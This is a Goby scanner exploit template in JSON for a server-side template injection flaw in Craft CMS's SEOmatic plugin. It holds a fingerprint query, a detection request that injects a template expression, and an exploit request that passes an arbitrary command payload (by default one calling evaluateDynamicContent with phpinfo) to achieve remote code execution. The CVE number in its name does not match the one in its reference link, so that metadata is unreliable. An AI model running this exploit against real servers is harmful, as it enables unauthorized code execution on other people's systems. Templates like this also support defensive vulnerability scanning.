{
      "Name": "CraftCMS Seomatic RCE CVE-2020-9597",
      "Level": "3",
      "Tags": [
            "rce"
      ],
      "GobyQuery": "(title==\"Welcome to Craft CMS\"  | body=\"href=\\\"http://craftcms.com/\\\"\" | body=\"SEOmatic\" | header=\"Craft CMS\" | header=\"Craft CMS, SEOmatic\")",
      "Description": "The SEOmatic component before 3.3.0 for Craft CMS allows Server-Side Template Injection that leads to RCE via malformed data to the metacontainers controller.",
      "Product": "craftcms",
      "Homepage": "https://craftcms.com/",
      "Author": "aetkrad",
      "Impact": "",
      "Recommendation": "",
      "References": [
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "cmd",
                  "Type": "input",
                  "Value": "craft.app.view.evaluateDynamicContent('phpinfo();')"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/actions/seomatic/meta-container/meta-link-container/?uri={{5*'5'}}",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": [
                              "r1|rand|int|2",
                              "r2|rand|int|2"
                        ]
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "MetaLinkContainer",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "canonical",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "25",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/actions/seomatic/meta-container/meta-link-container/?uri=%7B%7B{{{cmd}}}%7D%7D",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody||"
                  ]
            }
      ],
      "PostTime": "2021-11-11 20:45:35",
      "GobyVersion": "1.8.302"
}